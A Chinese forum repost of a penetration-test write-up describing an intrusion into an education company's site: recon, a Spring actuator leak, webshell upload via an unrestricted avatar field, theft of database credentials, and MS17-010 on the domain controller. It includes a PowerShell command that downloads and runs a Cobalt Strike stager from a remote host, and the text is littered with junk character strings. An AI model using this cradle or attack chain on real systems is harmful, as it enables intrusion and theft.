找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2106|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1 g0 x5 E+ O. Q" |: U1 N 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路( M* d! c, U" f3 ]7 e# _+ ?

0 t- j5 [. l$ b6 Q( t7 O

- I. A! v2 Y1 {0 @  ! T% G7 w* _( X- R

' c2 u4 P% @7 w! g. u) I' S; ^

l4 c/ n0 K( b3 p* F 正文/ s# {3 `. Z( U* h- h0 |

% e( N+ F, F7 e7 o

* ~4 K3 ?# L0 k  + P1 c- G& A3 k7 }, Q8 q

- M6 e: Y) }) ~; B( t9 Y

; |+ r: \+ ^8 N5 ~" V; `. O 目标:www.xxxx.com(一家教育机构)
& _+ c& ]+ ], `; J0 E3 a
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
0 k; j2 v. ^$ Z. C! b$ q

7 h% m1 @: {1 V* b. z

: r1 d; R8 ]+ s3 N6 d vshapes= % u G- _1 d+ D5 Y. F- A

f+ b4 Z$ k& |& z/ r

4 p/ o! h+ s- N8 u& M 进行了简单的信息搜集
; Q7 [1 w% o2 b: }
& `1 u/ T$ _5 G) m% c" H, S
' c0 l5 w: r& E$ t; u

1 @; `4 S/ j# P! p, r0 s

( R9 h; S2 Q6 L) ~9 P' ^/ I/ ?- j 子域名搜集. [, N7 A: [7 j' Q+ a+ y' f4 K6 j

# m& h7 W5 E8 v

1 ?! a; ~0 v% E: t' V3 h( _$ O9 \ vshapes=5 u! g+ _5 ]3 J9 v

" ^. n7 N) b+ x1 B1 z3 |; i }9 Q

1 ]& o. h6 H$ v; j. P' x, D fofa找资产
7 J9 I3 C/ q7 ]0 F. ^
& L" |- R. O2 l$ o; d: v
/ k1 z# I3 v0 T! k( w

5 A0 D$ v% q6 m; c( a% q

$ g" ^3 q; x, m9 B( R. i vshapes= & k4 a: N7 B' e, O) M( V) C

$ Y# x: d( w3 F2 N* a6 c. H

4 M+ Q# }% E: Z8 ~6 G I 一共七个资产。去重之后只有两个。
, z$ b! { d) Q
5 a: G- b% j. I5 X8 f! C3 I
- l; R: w5 |( J! i# l' w

t" V) c N. K! k

& Y; q+ @% R6 y- J3 g 目录探测 / J; W! V' \6 P- V4 m

1 Q5 Z/ y/ r7 \+ e1 S: t# N7 B

$ `; ^) F; o: G- [. A2 z vshapes=# w# q9 @/ P) x& e) V! h$ b$ m/ A

- v& a. [5 F. \" R) A# p

! s5 u- X; J. _7 G8 u 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
' N6 j; \& |0 F
7 {! e# o9 J. ~# W; y
8 R$ ]9 _$ ~$ x8 \; Y8 |. F2 G: v

- I9 Z& C/ A7 i; E7 C, n

) C0 Z1 c- r7 n) w6 R4 k 我又尝试了通过修改返回包来绕过登录界面* u( A& P' L T8 M3 V

& l8 m( [& B: }! \4 n

; O. `9 y9 J' S! }; p. S vshapes=; Q( i; W1 ?# B# R$ q: A+ C

2 ?+ ^1 ]" s9 L" F& F

2 @+ Y/ c- J# x2 {( y2 c2 a 还是不行,尝试注入无果3 F w j: z& e; ?$ x

& _# {/ w! |# @; z

: R& n" z& Z2 B* y7 F, O vshapes=6 M4 N- D% K. G, N7 U9 _2 o

. {/ v3 p+ p/ Q# h) K0 z/ r

( o/ M, N, {2 m 不过我目录探测出了一处Spring信息泄露
- V9 M2 M1 ~/ s+ ~+ y
7 R6 I, @4 t& I. K+ q. Y7 V
9 E. l9 l3 _8 d& D( Q# W W

3 }; W0 H) N* \5 }

: ?$ X$ E* C }- X0 M vshapes=% o0 c( ?+ |2 W9 h, n' [ j# ^2 P

0 N3 O+ i _8 I7 v. W

0 M' U3 o. l- P4 `1 |6 X3 ? 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 ; y1 X. i0 N" I

: X6 C, f8 i. j* U q

8 ?0 L/ m) s) `9 I: F1 B! t vshapes=1 ]. L0 |0 Q3 {, P7 q. q# h

) J, R0 X$ w g+ v7 Y

" M8 Y' i: P5 B$ f. k' ~ 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。 ; v+ n& g W/ m* V

1 Q: o% @7 b4 d% C' F

% ^/ m9 u2 U, E$ j. C4 t/ L vshapes= $ L* _+ z5 x/ e9 o( T* S- O

! L! j8 j& q4 E

5 ^( c+ M8 H4 h! \' g7 N M" V 获取有些师傅到这一步就手机抓包电脑测了。) A. }4 h9 a$ \1 m# `( E) z9 A' |

6 j7 L1 P" t: X9 W4 ]

8 D5 L6 F. I% F3 K0 w Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。2 P, n5 O; L4 P. F5 G' }

# r( d2 c @" M* p: [$ w! [: T

, \* _7 `* q+ K. s% h 其中在一个公众号发现了小程序,可以进行注册。3 y2 V' q* a( z) B- v2 }1 b9 O" A

8 o% ]! @% w9 r

- ?, D0 z0 c+ d7 }+ \$ j 看到了头像上传,尝试上传获取WebShell) h' ]3 ^( L7 }' E

) `- s4 R, i: o2 Z! q; Q4 F( ~

. {2 C. N. z/ y; s. [6 \ vshapes=5 p R _% r1 [3 q' {3 p2 [

* `3 G: B* x1 U. D2 V

) k( g3 S6 X" J/ [, n+ m+ l: J 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问4 t S6 l6 F. f

* R! |4 M7 }9 M. f: n3 s) ^

% d* p/ p0 ]8 e. f/ Z" P) Y% _ vshapes=- L. L4 M+ q" A. e

# g4 H2 {4 }5 n, E

+ B- P1 y, l. J% E- W& d s9 V 然后上了大马. d3 C: _) U- V. A& D

# N8 l8 f5 X) J6 h# P

1 |& }8 C& O/ U/ I; y vshapes=! L4 N7 d1 E+ t, ?) U

# O# v% p, z1 v: S& b' E, c2 P

% E# m$ U3 y p& r+ |+ ]& n& _ vshapes=5 N3 j0 t; @/ n6 L

% u( t: G3 D% ?0 C! k, |" k ?

+ d3 m2 B* C% H' w1 Y* M1 y! V 通过翻找文件发现数据库账号密码 " Y# G8 @) d7 m: L0 V

Q2 T X' U+ U: M3 y: D+ h$ J. {

8 @/ f% T/ s7 x. ?/ F0 a vshapes=6 w, k2 ^/ w$ d! w8 c

9 Z# U# `1 H- Q" U$ C9 b

; K5 R& y! p6 p& F' C( k --内网渗透+ C8 v' C6 }% L

1 R1 H `" Z5 |; R1 U6 t" p" x

7 `8 v9 l/ m: ~5 D0 h+ M 直接通过powershell执行 cs上线 # z" `7 |5 F" s% ^5 U9 n& S

# x" o2 E# Z1 t8 j1 Z! Y

- H- J" ]6 b E/ `. W6 O) L9 R powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" @! h3 C, d" Q- D6 K* c

7 x3 U+ s$ Z2 K+ i

7 k+ Y6 V) k2 T; ?1 j& W' L vshapes=; Y9 C0 _- E$ j& t7 V. U

+ z, h9 j5 `, [0 V6 j' S U6 D+ {

# ?9 b' D4 o- P2 A' }1 k1 T$ z% J 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破$ {: R# W! p3 j7 ?

: a& h1 l$ U3 y6 M. N3 |0 E% }

& b: _/ @8 B6 F/ J4 Z7 z" { vshapes=3 J$ {! H# E v

: b# I4 \7 z0 \

# P1 s" ]/ w; ]+ p3 f% G7 m 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
5 W; G# `7 I2 B+ i
6 i- @2 ]+ k: b+ s7 J% i
8 C8 L I& G3 u
: }' n5 F0 P7 o. f$ m

3 J$ J- @- y5 ~9 _

- }; @3 o: A& o vshapes= : ?, B ^5 g2 F

& k& ?6 O( g8 U7 R! \7 l

4 ?( v* U7 `$ k4 _' J% A1 ?7 p U r. m 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
D# \8 u( F; b4 z" m# c, j& W/ J
4 P! e- g! V. n& g# O) [4 }! r
7 y5 U* f) L1 m8 ^5 \

1 W( j$ b! d8 E4 J4 t$ \

" a0 G ^) ^6 w. ` vshapes=; l# z; T B$ V1 u0 _& `

) L% ]1 z- W6 d2 X( s

8 n) V+ \" {- |& G2 ?. |
0 D$ a' e3 }! l6 w/ K
9 K, X* C$ A: ~, x
" T: y8 e) t& G9 e. A: l- [7 g: Q

5 Q A7 M% |2 Z% v

0 T/ S9 V' I7 q4 r' @& }   . X ^5 A# Q. W) i- W( B4 E

3 b2 n' C6 t7 c

+ ^1 ^4 i6 j" m+ R8 W) c9 Z# y$ b 小结4 g/ S7 t) } X1 `. ]: h; _; b

! G# ?$ n% C8 \3 [8 R

4 h) j. {% f) k! d( [  5 f3 g! H2 P+ N+ x0 b* V' V

) t" ~7 ~% q! s

& H0 P$ V F6 v% o M' e 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!& A% |, ~; o$ W# y3 @8 \$ A- Z: ]8 l

- ^5 X7 _5 k6 U/ r* E

4 h8 \1 X3 u* T T1 E! X  & ]+ m2 ?- o' i# Z( W; @& r

8 I( G2 l+ @. X
    ; G, A) [4 {9 ~! @
  • ; P j/ O g& b  3 u. C3 g+ ?" F' K! K1 U' H4 S
  • & y4 m% ~9 i! d$ b. r
  • $ j: G( \; d+ F7 i5 c6 _  5 N$ p3 C- n4 C& N! |4 ?; ?1 [1 o' G
  • & l* S9 I+ c. j3 B4 ^/ [
/ w6 F$ H. K$ M

# O& f; |- K$ t 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html $ s5 z/ s+ X2 X

; ]0 n/ f& n$ D7 s6 D, S+ r' i

* c' ?+ H: b/ L3 _% @( C   : _6 T4 I/ [0 n' M3 w D" b$ ?- H- A

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表